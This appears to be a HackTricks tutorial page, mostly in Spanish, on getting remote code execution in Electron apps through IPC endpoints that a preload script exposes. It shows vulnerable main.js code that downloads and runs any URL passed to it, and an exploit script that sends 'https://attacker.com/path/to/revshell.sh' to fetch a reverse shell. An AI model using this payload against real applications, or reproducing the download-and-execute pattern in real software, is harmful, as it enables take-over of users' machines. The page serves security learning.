Electron contextIsolation RCE via IPC

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Si el script de preload expone un endpoint IPC desde el archivo main.js, el proceso de renderizado podrá acceder a él y, si es vulnerable, podría ser posible un RCE.

La mayoría de estos ejemplos fueron tomados de aquí https://www.youtube.com/watch?v=xILfQGkLXQo. Consulta el video para más información.

Ejemplo 0

Ejemplo de https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21 (tienes el ejemplo completo de cómo MS Teams abusó de XSS a RCE en esas diapositivas, este es solo un ejemplo muy básico):

Ejemplo 1

Consulta cómo el main.js escucha en getUpdate y descargará y ejecutará cualquier URL pasada. Consulta también cómo preload.js expone cualquier evento IPC desde main.

// Part of code of main.js
ipcMain.on('getUpdate', (event, url) => {
console.log('getUpdate: ' + url)
mainWindow.webContents.downloadURL(url)
mainWindow.download_url = url
});

mainWindow.webContents.session.on('will-download', (event, item, webContents) => {
console.log('downloads path=' + app.getPath('downloads'))
console.log('mainWindow.download_url=' + mainWindow.download_url);
url_parts = mainWindow.download_url.split('/')
filename = url_parts[url_parts.length-1]
mainWindow.downloadPath = app.getPath('downloads') + '/' + filename
console.log('downloadPath=' + mainWindow.downloadPath)
// Set the save path, making Electron not to prompt a save dialog.
item.setSavePath(mainWindow.downloadPath)

item.on('updated', (event, state) => {
if (state === 'interrupted') {
console.log('Download is interrupted but can be resumed')
}
else if (state === 'progressing') {
if (item.isPaused()) console.log('Download is paused')
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
}
})

item.once('done', (event, state) => {
if (state === 'completed') {
console.log('Download successful, running update')
fs.chmodSync(mainWindow.downloadPath, 0755);
var child = require('child_process').execFile;
child(mainWindow.downloadPath, function(err, data) {
if (err) { console.error(err); return; }
console.log(data.toString());
});
}
else console.log(`Download failed: ${state}`)
})
})
// Part of code of preload.js
window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};

Explotar:

<script>
electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
</script>

Ejemplo 2

Si el script de precarga expone directamente al renderizador una forma de llamar a shell.openExternal, es posible obtener RCE.

// Part of preload.js code
window.electronOpenInBrowser = (url) => {
shell.openExternal(url);
};

Ejemplo 3

Si el script de precarga expone formas de comunicarse completamente con el proceso principal, un XSS podrá enviar cualquier evento. El impacto de esto depende de lo que el proceso principal exponga en términos de IPC.

window.electronListen = (event, cb) => {
ipcRenderer.on(event, cb);
};

window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

Last updated